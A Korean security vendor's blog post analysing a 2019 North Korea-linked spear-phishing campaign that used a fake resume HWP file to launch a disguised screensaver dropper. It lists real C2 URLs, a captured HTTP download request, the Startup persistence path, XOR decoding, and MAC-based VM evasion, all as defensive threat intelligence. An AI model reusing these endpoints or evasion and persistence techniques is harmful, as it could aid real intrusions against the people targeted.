안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다.
2019년 03월 18일, 마치 이력서 원본을 보내는 것처럼 위장한 APT(지능형지속위협) 공격이 식별됐습니다. 주로 한국의 대북관련 분야에 활동하는 인사들에게 집중적으로 공격이 진행된 정황을 포착했습니다.
공격을 수행한 '금성121(Geumseong121)' 위협조직은 이메일에 악성 파일을 첨부해 발송하는 이른바 스피어 피싱(Spear Phishing) 공격기법을 활용했고, 암호화된 압축 파일을 사용해 1차 탐지회피를 계획한 나름 투트랙 피싱 전략을 구사했습니다.
실제 공격에 사용된 해킹 공격 이메일은 다음과 같고, 마치 원본 메일이 전달된 것으로 위장했습니다.
[그림 1] 실제 공격에 사용된 스피어 피싱(Spear Phishing) 이메일 화면
■ 로켓맨(Rocket Man) 캠페인 재등장, '오퍼레이션 골든 버드(Operation Golden Bird)'
ESRC에서는 한국에서 발생한 최신 APT 공격을 추적하는 과정에서 '특정 정부의 후원을 받는 위협조직(State-Sponsored Cyber Actors)'이 이번 미션에도 관여된 것을 확인했고, 공격자가 사용한 일부 흔적에서 'Gold Letter Bird' 문구가 존재함을 발견했습니다.
이에 이번 사이버 작전(OPSEC)을 '오퍼레이션 골든 버드(Operation Golden Bird)'로 명명하고, 베일에 쌓여 있는 위협 배후와 공격 기술에 대한 심층분석을 수행하고 있습니다.
특히, 이번 스피어 피싱은 지난 2019년 01월 23일에 공개했던 '홀리데이 와이퍼(Operation Holiday Wiper)로 귀환한 로켓맨 APT 캠페인' 미션의 연장선에 포함된 것이 주목되었습니다.
로켓맨 APT 캠페인은 2018년 08월 22일 '금성121 그룹의 최신 APT 캠페인 - 작전명 로켓 맨(Operation Rocket Man)' 포스팅을 통해 처음 공개한 바 있고, 이후 유사한 작전이 계속 이어지고 있다는 점에서 유관 분야의 각별한 주의가 요망됩니다.
위협조직 '금성121(Geumseong121)'은 주로 한국의 외교·안보·통일·국방 분야나 대북단체, 탈북민 등을 상대로 갈수록 고도화된 첩보활동을 하고 있으며, 2014년 한국수력원자력 공격에 가담한 것으로 분류된 위협그룹 '김수키(Kimsuky)' 조직과 직·간접적으로 활동 반경이 오버랩되고 있어, 두 그룹은 하나의 조직이거나 공격 미션과 대상이 동일해 발생하는 상황 등으로 강하게 의심되고 있습니다.
ESRC는 이 두 조직에 대한 상관관계 및 디지털 프로파일링 작업을 지속적으로 수행하고 있습니다.
[참고자료]
※ 판문점 선언 관련 내용의 문서로 수행된 '작전명 원제로(Operation Onezero)' APT 공격 분석
■ HWP Hyperlink 와 TTPs (Tactics, Techniques, and Procedures)
첫 번째 스테이지 공격에 사용할 '이력서.rar' 이름의 암호화 압축 파일을 만들었으며, 내부에 '조형곤이력서2019.hwp', 'desktop.scr' 두개의 파일이 포함되어 있습니다.
[그림 2] '이력서.rar' 압축파일 내부 화면
압축 파일 화면 기준으로 내부 파일들은 2019년 03월 17일 오후 시간대 정보를 가지고 있는데, 실제 해킹 공격은 그 다음 날인 18일 오후 수행이 되었습니다.
먼저 '조형곤이력서2019.hwp' 문서파일은 다음과 같은 스트림 데이터를 포함하고 있습니다.
[그림 3] '조형곤이력서2019.hwp' 내부 스트림 구조 화면
HWP 문서 파일의 내부 구조를 먼저 살펴보면, 특별히 EPS 포스트 스크립트나 OLE 데이터가 포함되지 않은 것을 알 수 있습니다.
공격자는 HWP 문서 파일의 하이퍼링크 기능을 통해 외부 어플리케이션 문서 연결로 함께 포함된 'desktop.scr' 악성코드가 실행되도록 구현했습니다.
[그림 4] 하이퍼링크 기능을 통한 추가 악성 파일(desktop.scr) 실행 유도
위협 배후는 사이버 전략·전술적으로 이력서 내용처럼 위장한 악성 문서를 전송해 호기심을 유발하고, 공격 대상자로 하여금 문서내용을 열람하도록 유인하게 됩니다.
실제 해당 문서 파일을 실행할 경우 다음과 같이 특정인의 이력서 내용이 보여지게 되고, 일부 문구들에 밑줄이 포함된 하이퍼링크가 포함된 것을 볼 수 있습니다.
무심코 해당 문서에 포함되어 있는 하이퍼링크 영역에 접근해 클릭할 경우, 마치 화면보호기(Screen Saver) 파일처럼 위장된, 'desktop.scr' 악성 코드가 연쇄적으로 실행되는 절차를 거치게 됩니다.
[그림 5] 하이퍼링크가 포함된 이력서 실행 화면
■ 위협 인텔리전스 기반 연관성 분석
이번 공격은 HWP 문서 파일의 하이퍼링크 설정을 통해 동일한 경로에 존재하는 또 다른 악성 파일을 실행하는 기법을 사용합니다.
따라서 HWP 문서 자체만으로 독립적 악성 행위를 수행하기에 분명 한계가 존재하고, 반드시 추가 악성 파일을 함께 유포해야만 공격자가 원하는 다양한 명령을 수행할 수가 있습니다.
물론, 압축 해제 후 이용자가 실행 파일을 바로 실행할 경우 즉시 보안 위협에 노출됩니다.
ESRC는 이번 공격의 배후를 파악하는 과정에서 해당 HWP 문서파일에서 'HighExpert' 계정을 발견했습니다.
[그림 6] HighExpert 계정을 사용한 HWP 문서 정보 화면
'HighExpert' 계정은 2017년 전후부터 여러차례 발견된 바 있는데, '최근소식.hwp', '자녀와부정적인대화상황대응법.hwp', '통지.hwp', '홍삼6품단가 .xlsx' 등에서 공통적으로 사용되었습니다.
이와 유사한 공격은 매우 다양하지만, 대표적인 사례들을 연결해 보면 다음과 같습니다.
[그림 7] 'HighExpert' 코드 등으로 연결되는 다른 악성 파일 사례들
하이퍼링크로 인해 실행되는 'desktop.scr' 악성 파일은 화면보호기 확장자로 위장했고, 한국시간(KST) 기준으로 '2019-03-17 18:33:02' 날짜에 제작된 32비트 기반의 악성 실행(exe) 파일입니다.
아이콘은 다음과 같이 마치 화면보호기 처럼 보이도록 그림 리소스를 가지고 있습니다.
[그림 8] 화면 보호기 위장 아이콘 리소스
본격적인 악성 행위가 실행되면 코드 내부에 인코딩되어 있는 데이터 블럭이 XOR 0x59 연산을 통해 디코딩됩니다. 그리고 해당 사이트로 접속하여 추가 악성모듈을 다운로드하게 됩니다.
[그림 9] 추가 다운로드 코드 화면
연결을 시도하는 명령제어(C2) 서버는 한국의 특정 웹 사이트로 아래와 같이 두 경로에 각각 접속하게 됩니다.
일부 영문 표기법은 기존 로켓맨 캠페인과 마찬가지로 중국식 의미와 비슷하지만, 이는 의도적인 거짓 교란 전술(False Flag) 목적으로 의심됩니다.
- inhyunits.co.kr/bbs/icon/ritian[.]php?yishi=1
- inhyunits.co.kr/bbs/icon/yiqi[.]tar
만약 악성코드가 'ritian.php' 서버와 정상적으로 통신이 성공되면, 공격자는 암호화된 추가 악성 파일을 내려보낼 수 있으며, 코드를 복호화한 후 시작프로그램(Startup) 경로에 'iCloud.exe' 파일명으로 설치합니다.
[그림 9-1] ritian.php 접속시 나오는 화면
- C:\Users\[사용자 계정명]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iCloud.exe
iCloud.exe 파일의 속성에는 'Halleuya200' 라는 문자열이 포함되어 있는 특징이 존재합니다.
침투에 사용된 파일명이 마치 아이클라우드 모듈처럼 위장하였는데, 이미 과거 유사한 공격에서 이와 동일한 이름을 사용한 사례가 발견된 바 있습니다.
서버와 통신이 성공되고, 시작프로그램 경로에 악성모듈이 정상적으로 생성되면, 윈도우즈 운영체제(OS)가 다시 로그인 될 시점까지 일정 기간 실행이 지연되는 일종의 잠복기를 유지하게 됩니다.
그리고 'yiqi.tar' 파일은 실제 정상적인 이미지 파일인데, 'sample.jpg' 이름으로 임시폴더(Temp) 경로에 다운로드한 후 바로 실행됩니다.
따라서, 다음과 같은 화면이 바로 보여지게 됩니다. 이는 공격자가 정상적인 이력서 링크처럼 보이게 만든 위장 전술 중에 하나로 볼 수 있습니다.
[그림 10] 다운로드되어 실행된 'sample.jpg' 실행 화면
시작프로그램 경로에 생성되는 'iCloud.exe' 악성파일은 공격자의 명령에 따라 언제든지 가변적이지만, ESRC가 추적하던 중 실제 공격에 사용된 모듈을 확보할 수 있었습니다.
GET /bbs/icon/ritian.php?yishi=1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: inhyunits.co.kr
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html
.......................@@.................................................M..u<..SP......MC.....TB.ER..NI.Nd..sM...K#...$.......o9..J6..J6..J6...5\._6....h..6..J7..66..;.Q.[6....i.U6...1X.K6...6_.K6.L;
..J6.................P.E.LM...|g.\...........
해당 파일은 한국시간(KST) 기준으로 '2019-03-17 15:35:02' 제작되었으며, 코드가 UPX 실행압축기로 패킹이 된 형태였습니다.
다만, UPX 패킹 후에 코드 내부의 각 섹션들을 Scramble 기법으로 조작하여, 분석방해 목적으로 활용했습니다.
[그림 11] UPX Packing 섹션 화면
그리고 이 악성 파일은 가상의 분석환경(VMware, VirtualBox)을 회피하기 위해서 이더넷 어댑터의 로컬영역 물리적(MAC) 주소를 비교하여, 가상환경일 경우에는 실행되지 않도록 만듭니다.
▷ 00-0C-XX-XX-XX-XX (VMware) |
▷ 08-00-XX-XX-XX-XX (VirtualBox) |
[그림 12] 물리적(MAC) 주소를 비교하는 화면
실행환경 조건이 설정된 가상의 물리적 주소와 부합되지 않으면, 악성 모듈은 정상적으로 로드가 진행되고, 공격자가 지정한 두번째 명령제어(C2) 서버와 통신을 수행하게 됩니다.
이때 사용하는 서버 주소 역시 코드가 암호화되어 있어, 평문 스트링 서치만으로는 확인이 불가능하고, 특정 데이터 블록에 할당된 값과 특정 XOR 키 로직 루틴에 의해 복호화됩니다.
다음은 2차 C2 주소가 복호화된 코드 영역을 표시한 화면입니다.
[그림 13] 암호화된 2차 C2 서버 복호화 화면
- youngs.dgweb.kr/skin15/include/bin/visab[.]php
2차 스테이지에서 사용하는 공격 서버 역시 한국에서 운영되는 기업의 서버임을 알 수 있습니다.
그리고 암호화된 상태로 코드가 숨겨져 있지만, 실제 내부에는 'srvrlyscss' 문자열 코드가 존재하는데, 이 문자열은 이미 로켓맨 캠페인에서 동일하게 사용된 바 있습니다.
이 문자열은 'Server Relay Sucess' 표현의 약어로 추정이 되기도 합니다만, 확정할 수는 없습니다.
[그림 14] 'srvrlyscss' 문자열을 사용하는 코드 복호화 화면
■ 마무리
표적형 APT 악성코드는 공격자의 명령이나 의도에 따라 감염된 컴퓨터의 각종 시스템 정보 등을 수집해 명령제어(C2) 서버로 은밀히 탈취해 갈 수 있으며, 추가 조건에 따라 원격제어 등 예기치 못한 피해로 이어질 수 있습니다.
ESRC는 특정 정부의 후원을 받고 있으며, 한국내 대표적인 사이버 보안위협 요소로 분류된 『로켓맨 APT 공격 캠페인』을 지속적으로 탐지하고 대응하기 위해 최선의 노력을 하고 있습니다.
특히, 금성121 위협조직을 포함해 다양한 맞춤형 APT 공격이 끊임없이 진행되고 있다는 점에 주목됩니다.
저희는 이번 위협이 치밀하게 준비된 국가차원의 사이버 작전으로 판단하고 있으며, 한국인터넷진흥원(KISA) 등과 긴밀하게 공조함과 동시에 위협 인텔리전스를 보다 강화할 예정입니다.
더불어 Threat Inside 서비스를 통해 국지적으로 발생하는 다양한 위협정보와 침해지표를 보다 전문화된 인텔리전스 리포트로 제공하고, 국가차원의 위협 조직들의 흐름을 신속하고 정확히 파악하고 대응 방안을 수립 모색할 수 있도록 자료를 제공하고 있습니다.
[타임라인별 금성121 관련 주요 위협 사례]
홀리데이 와이퍼(Operation Holiday Wiper)로 귀환한 로켓맨 APT 캠페인 (2019. 01. 23)
▶ https://blog.alyac.co.kr/2089
'오퍼레이션 블랙버드(Operation Blackbird)', 금성121의 모바일 침공 (2018. 12. 13)
▶ https://blog.alyac.co.kr/2035
금성121(Geumseong121) 정부기반 APT그룹, '코리안 스워드(Operation Korean Sword) 작전' 수행 중 (2018. 11. 16)
▶ https://blog.alyac.co.kr/1985
금성121 그룹의 최신 APT 캠페인 - '작전명 로켓 맨(Operation Rocket Man)' (2018. 08. 22)
▶ https://blog.alyac.co.kr/1853
'금성121' 그룹의 '남북이산가족찾기 전수조사' 사칭 이메일 주의 (2018. 07. 04)
▶ https://blog.alyac.co.kr/1767
한국 메신저 등을 통해 유포된 Flash Player Zero-Day (CVE-2018-4878) 공격 주의 (2018. 02. 02)
김수키 조직, 워터링 홀 개시 '오퍼레이션 로우 킥(Operation Low Kick)' (0) | 2019.03.21 |
---|---|
[주의] 새로운 헌법 재판소 소환장으로 사칭, 유포중인 갠드크랩 v5.2 주의! (0) | 2019.03.20 |
이미지 저작권 위반 내용 메일의 GandCrab v5.2 랜섬웨어 유포 주의 (0) | 2019.03.18 |
중고거래사이트와 카카오톡을 이용한 피싱 및 금융사기 주의보!! (0) | 2019.03.18 |
[업데이트] 'Min Gap Ryong'과 한국은행을 사칭한 악성 이메일 유포 중 (0) | 2019.03.14 |
댓글 영역